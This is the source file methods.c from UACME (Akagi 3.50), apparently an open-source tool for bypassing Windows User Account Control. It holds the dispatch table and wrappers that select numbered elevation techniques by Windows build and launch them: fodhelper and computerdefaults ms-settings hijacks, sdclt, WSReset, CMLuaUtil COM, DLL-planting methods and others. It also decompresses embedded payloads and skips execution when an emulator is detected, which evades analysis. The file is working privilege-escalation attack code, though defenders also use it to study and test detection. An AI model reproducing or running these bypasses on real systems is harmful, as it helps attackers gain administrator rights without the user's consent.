Files
hfiref0x-UACME/Source/Akagi/methods/methods.c
T
hfiref0x e9495cfd2f v 3.5.0
350 release
2020-10-06 00:17:21 +07:00

621 lines
18 KiB
C

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2015 - 2020
*
* TITLE: METHODS.C
*
* VERSION: 3.50
*
* DATE: 22 Sep 2020
*
* UAC bypass dispatch.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
UCM_API(MethodTest);
UCM_API(MethodSXS);
UCM_API(MethodDism);
UCM_API(MethodWow64Logger);
UCM_API(MethodUiAccess);
UCM_API(MethodMsSettings);
UCM_API(MethodTyranid);
UCM_API(MethodJunction);
UCM_API(MethodSXSDccw);
UCM_API(MethodHakril);
UCM_API(MethodCorProfiler);
UCM_API(MethodCMLuaUtil);
UCM_API(MethodDccwCOM);
UCM_API(MethodDirectoryMock);
UCM_API(MethodShellSdctl);
UCM_API(MethodTokenModUIAccess);
UCM_API(MethodShellWSReset);
UCM_API(MethodEditionUpgradeManager);
UCM_API(MethodDebugObject);
UCM_API(MethodShellChangePk);
UCM_API(MethodNICPoison);
UCM_API(MethodDeprecated);
#define UCM_WIN32_NOT_IMPLEMENTED_COUNT 3
ULONG UCM_WIN32_NOT_IMPLEMENTED[UCM_WIN32_NOT_IMPLEMENTED_COUNT] = {
UacMethodWow64Logger,
UacMethodEditionUpgradeMgr,
UacMethodNICPoison
};
UCM_API_DISPATCH_ENTRY ucmMethodsDispatchTable[UCM_DISPATCH_ENTRY_MAX] = {
{ MethodTest, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodSXS, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodDism, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodWow64Logger, { 7600, MAXDWORD }, AKATSUKI_ID, FALSE, TRUE, TRUE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodUiAccess, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodMsSettings, { 10240, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodTyranid, { 9600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodJunction, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodSXSDccw, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodHakril, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, FALSE, TRUE },
{ MethodCorProfiler, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodCMLuaUtil, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, TRUE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDccwCOM, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, TRUE, TRUE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDirectoryMock, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodShellSdctl, { 14393, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodTokenModUIAccess, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, FALSE },
{ MethodShellWSReset, { 17134, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodEditionUpgradeManager, { 14393, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodDebugObject, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodDeprecated, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodShellChangePk, { 14393, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodMsSettings, { 17134, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodNICPoison, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE }
};
/*
* IsMethodImplementedForWin32
*
* Purpose:
*
* Check if method implemented in win32 version.
*
*/
__forceinline BOOL IsMethodImplementedForWin32(
_In_ UCM_METHOD Method)
{
UINT i;
for (i = 0; i < UCM_WIN32_NOT_IMPLEMENTED_COUNT; i++)
if (UCM_WIN32_NOT_IMPLEMENTED[i] == (ULONG)Method)
return FALSE;
return TRUE;
}
/*
* IsMethodMatchRequirements
*
* Purpose:
*
* Check system requirements of the given method.
*
*/
NTSTATUS IsMethodMatchRequirements(
_In_ PUCM_API_DISPATCH_ENTRY Entry
)
{
#ifdef _DEBUG
UNREFERENCED_PARAMETER(Entry);
#else
WCHAR szMessage[MAX_PATH];
//
// Check Wow64 flags first. Disable this check for debugging build.
//
if (g_ctx->IsWow64) {
if (Entry->DisallowWow64) {
ucmShowMessageById(g_ctx->OutputToDebugger, ISDB_USAGE_WOW_DETECTED);
return STATUS_NOT_SUPPORTED;
}
}
#ifdef _WIN64
else {
//
// Not required if Win32.
//
if (Entry->Win32OrWow64Required != FALSE) {
ucmShowMessageById(g_ctx->OutputToDebugger, ISDB_USAGE_WOW64WIN32ONLY);
return STATUS_NOT_SUPPORTED;
}
}
#endif //_WIN64
//
// Check availability. Disable this check for debugging build.
//
if (g_ctx->dwBuildNumber < Entry->Availability.MinumumWindowsBuildRequired) {
RtlSecureZeroMemory(&szMessage, sizeof(szMessage));
_strcpy(szMessage, L"Current Windows Build: ");
ultostr(g_ctx->dwBuildNumber, _strend(szMessage));
_strcat(szMessage, L"\nMinimum Windows Build Required: ");
ultostr(Entry->Availability.MinumumWindowsBuildRequired, _strend(szMessage));
_strcat(szMessage, L"\nAborting execution.");
ucmShowMessage(g_ctx->OutputToDebugger, szMessage);
return STATUS_NOT_SUPPORTED;
}
if (g_ctx->dwBuildNumber >= Entry->Availability.MinimumExpectedFixedWindowsBuild) {
if (ucmShowQuestionById(ISDB_USAGE_UACFIX) == IDNO) {
return STATUS_NOT_SUPPORTED;
}
}
#endif
return STATUS_SUCCESS;
}
/*
* PostCleanupAttempt
*
* Purpose:
*
* Attempt to cleanup left overs.
*
*/
VOID PostCleanupAttempt(
_In_ UCM_METHOD Method
)
{
switch (Method) {
case UacMethodDISM:
ucmMethodCleanupSingleItemSystem32(DISMCORE_DLL);
break;
case UacMethodWow64Logger:
ucmMethodCleanupSingleItemSystem32(WOW64LOG_DLL);
break;
case UacMethodJunction:
ucmJunctionMethodCleanup();
break;
case UacMethodSXSConsent:
ucmSXSMethodCleanup();
break;
case UacMethodSXSDccw:
ucmSXSDccwMethodCleanup();
break;
case UacMethodHakril:
ucmHakrilMethodCleanup();
break;
default:
break;
}
}
/*
* MethodsManagerCall
*
* Purpose:
*
* Run method by method id.
*
*/
NTSTATUS MethodsManagerCall(
_In_ UCM_METHOD Method
)
{
BOOL bParametersBlockSet = FALSE;
NTSTATUS MethodResult, Status;
ULONG PayloadSize = 0, DataSize = 0;
PVOID PayloadCode = NULL, Resource = NULL;
PVOID ImageBaseAddress = g_hInstance;
PUCM_API_DISPATCH_ENTRY Entry;
UCM_PARAMS_BLOCK ParamsBlock;
if (wdIsEmulatorPresent3()) {
return STATUS_NOT_SUPPORTED;
}
if (Method >= UacMethodMax)
return STATUS_INVALID_PARAMETER;
//
// Is method implemented for Win32?
//
#ifndef _WIN64
if (!IsMethodImplementedForWin32(Method)) {
return STATUS_NOT_SUPPORTED;
}
#endif //_WIN64
Entry = &ucmMethodsDispatchTable[Method];
Status = IsMethodMatchRequirements(Entry);
if (!NT_SUCCESS(Status))
return Status;
if (Entry->PayloadResourceId != PAYLOAD_ID_NONE) {
Resource = supLdrQueryResourceData(
Entry->PayloadResourceId,
ImageBaseAddress,
&DataSize);
if (Resource) {
PayloadCode = g_ctx->DecompressRoutine(Entry->PayloadResourceId, Resource, DataSize, &PayloadSize);
}
if ((PayloadCode == NULL) || (PayloadSize == 0)) {
return STATUS_DATA_ERROR;
}
}
ParamsBlock.Method = Method;
ParamsBlock.PayloadCode = PayloadCode;
ParamsBlock.PayloadSize = PayloadSize;
//
// Set shared parameters.
//
// 1. Execution parameters (flag, session id, winstation\desktop)
// 2. Optional parameter from Akagi command line.
//
if (Entry->SetParameters) {
bParametersBlockSet = supCreateSharedParametersBlock(g_ctx);
}
MethodResult = Entry->Routine(&ParamsBlock);
if (PayloadCode) {
RtlSecureZeroMemory(PayloadCode, PayloadSize);
supVirtualFree(PayloadCode, NULL);
}
//
// Wait a little bit for completion.
//
if (Entry->SetParameters) {
if (bParametersBlockSet) {
supWaitForGlobalCompletionEvent();
supDestroySharedParametersBlock(g_ctx);
}
}
PostCleanupAttempt(Method);
return MethodResult;
}
/************************************************************
**
**
**
** Method table wrappers
**
**
**
************************************************************/
UCM_API(MethodTest)
{
#ifdef _DEBUG
return ucmTestRoutine(Parameter->PayloadCode, Parameter->PayloadSize);
#else
UNREFERENCED_PARAMETER(Parameter);
return TRUE;
#endif
}
UCM_API(MethodSXS)
{
return ucmSXSMethod(
Parameter->PayloadCode,
Parameter->PayloadSize,
NULL,
CONSENT_EXE,
MSCONFIG_EXE,
TRUE);
}
UCM_API(MethodDism)
{
return ucmDismMethod(
Parameter->PayloadCode,
Parameter->PayloadSize);
}
UCM_API(MethodWow64Logger)
{
//
// Required x64 as this method abuse wow64 logger mechanism
//
#ifdef _WIN64
return ucmWow64LoggerMethod(
Parameter->PayloadCode,
Parameter->PayloadSize);
#else
UNREFERENCED_PARAMETER(Parameter);
return STATUS_NOT_SUPPORTED;
#endif
}
UCM_API(MethodUiAccess)
{
return ucmUiAccessMethod(
Parameter->PayloadCode,
Parameter->PayloadSize);
}
UCM_API(MethodMsSettings)
{
LPWSTR lpszPayload = NULL;
LPWSTR lpszTargetApp = NULL;
WCHAR szTargetApp[MAX_PATH * 2];
if (g_ctx->OptionalParameterLength == 0)
lpszPayload = g_ctx->szDefaultPayload;
else
lpszPayload = g_ctx->szOptionalParameter;
if (Parameter->Method == UacMethodMsSettings2)
lpszTargetApp = COMPUTERDEFAULTS_EXE;
else
lpszTargetApp = FODHELPER_EXE;
_strcpy(szTargetApp, g_ctx->szSystemDirectory);
_strcat(szTargetApp, lpszTargetApp);
return ucmShellRegModMethod(Parameter->Method,
T_MSSETTINGS,
szTargetApp,
lpszPayload);
}
UCM_API(MethodTyranid)
{
LPWSTR lpszPayload = NULL;
UNREFERENCED_PARAMETER(Parameter);
//
// Select target application or use given by optional parameter.
//
if (g_ctx->OptionalParameterLength == 0)
lpszPayload = g_ctx->szDefaultPayload;
else
lpszPayload = g_ctx->szOptionalParameter;
return ucmDiskCleanupEnvironmentVariable(lpszPayload);
}
UCM_API(MethodJunction)
{
return ucmJunctionMethod(
Parameter->PayloadCode,
Parameter->PayloadSize);
}
UCM_API(MethodSXSDccw)
{
return ucmSXSDccwMethod(
Parameter->PayloadCode,
Parameter->PayloadSize);
}
UCM_API(MethodHakril)
{
return ucmHakrilMethod(
Parameter->PayloadCode,
Parameter->PayloadSize);
}
UCM_API(MethodCorProfiler)
{
return ucmCorProfilerMethod(
Parameter->PayloadCode,
Parameter->PayloadSize);
}
UCM_API(MethodCMLuaUtil)
{
LPWSTR lpszParameter;
UNREFERENCED_PARAMETER(Parameter);
//
// Select target application or use given by optional parameter.
//
if (g_ctx->OptionalParameterLength == 0)
lpszParameter = g_ctx->szDefaultPayload;
else
lpszParameter = g_ctx->szOptionalParameter;
return ucmCMLuaUtilShellExecMethod(lpszParameter);
}
UCM_API(MethodDccwCOM)
{
LPWSTR lpszPayload = NULL;
UNREFERENCED_PARAMETER(Parameter);
//
// Select target application or use given by optional parameter.
//
if (g_ctx->OptionalParameterLength == 0)
lpszPayload = g_ctx->szDefaultPayload;
else
lpszPayload = g_ctx->szOptionalParameter;
return ucmDccwCOMMethod(lpszPayload);
}
UCM_API(MethodDirectoryMock)
{
return ucmDirectoryMockMethod(
Parameter->PayloadCode,
Parameter->PayloadSize);
}
UCM_API(MethodShellSdctl)
{
LPWSTR Payload = NULL;
if (g_ctx->OptionalParameterLength == 0)
Payload = g_ctx->szDefaultPayload;
else
Payload = g_ctx->szOptionalParameter;
return ucmShellRegModMethod(Parameter->Method,
T_CLASSESFOLDER,
SDCLT_EXE,
Payload);
}
UCM_API(MethodTokenModUIAccess)
{
return ucmTokenModUIAccessMethod(Parameter->PayloadCode,
Parameter->PayloadSize);
}
UCM_API(MethodShellWSReset)
{
ULONG Result = 0;
LPWSTR PayloadParameter = NULL, PayloadFinal = NULL;
SIZE_T Size;
if (g_ctx->OptionalParameterLength == 0)
PayloadParameter = g_ctx->szDefaultPayload;
else
PayloadParameter = g_ctx->szOptionalParameter;
Size = ((MAX_PATH * 2) + _strlen(PayloadParameter)) * sizeof(WCHAR);
PayloadFinal = supHeapAlloc(Size);
if (PayloadFinal) {
_strcpy(PayloadFinal, g_ctx->szSystemDirectory);
_strcat(PayloadFinal, CMD_EXE);
_strcat(PayloadFinal, RUN_CMD_COMMAND);
_strcat(PayloadFinal, PayloadParameter);
Result = ucmShellRegModMethod2(Parameter->Method,
T_APPXPACKAGE,
WSRESET_EXE,
PayloadFinal);
supHeapFree(PayloadFinal);
}
return Result;
}
UCM_API(MethodEditionUpgradeManager)
{
#ifndef _WIN64
UNREFERENCED_PARAMETER(Parameter);
return STATUS_NOT_SUPPORTED;
#else
return ucmEditionUpgradeManagerMethod(
Parameter->PayloadCode,
Parameter->PayloadSize);
#endif
}
UCM_API(MethodDebugObject)
{
LPWSTR lpszPayload = NULL;
UNREFERENCED_PARAMETER(Parameter);
//
// Select target application or use given by optional parameter.
//
if (g_ctx->OptionalParameterLength == 0)
lpszPayload = g_ctx->szDefaultPayload;
else
lpszPayload = g_ctx->szOptionalParameter;
return ucmDebugObjectMethod(lpszPayload);
}
UCM_API(MethodShellChangePk)
{
LPWSTR lpszPayload = NULL;
//
// Select target application or use given by optional parameter.
//
if (g_ctx->OptionalParameterLength == 0)
lpszPayload = g_ctx->szDefaultPayload;
else
lpszPayload = g_ctx->szOptionalParameter;
return ucmShellRegModMethod(Parameter->Method,
T_LAUNCHERSYSTEMSETTINGS,
SLUI_EXE,
lpszPayload);
}
UCM_API(MethodNICPoison)
{
#ifndef _WIN64
UNREFERENCED_PARAMETER(Parameter);
return STATUS_NOT_SUPPORTED;
#else
return ucmNICPoisonMethod(
Parameter->PayloadCode,
Parameter->PayloadSize);
#endif
}
UCM_API(MethodDeprecated)
{
UNREFERENCED_PARAMETER(Parameter);
return STATUS_NOT_SUPPORTED;
}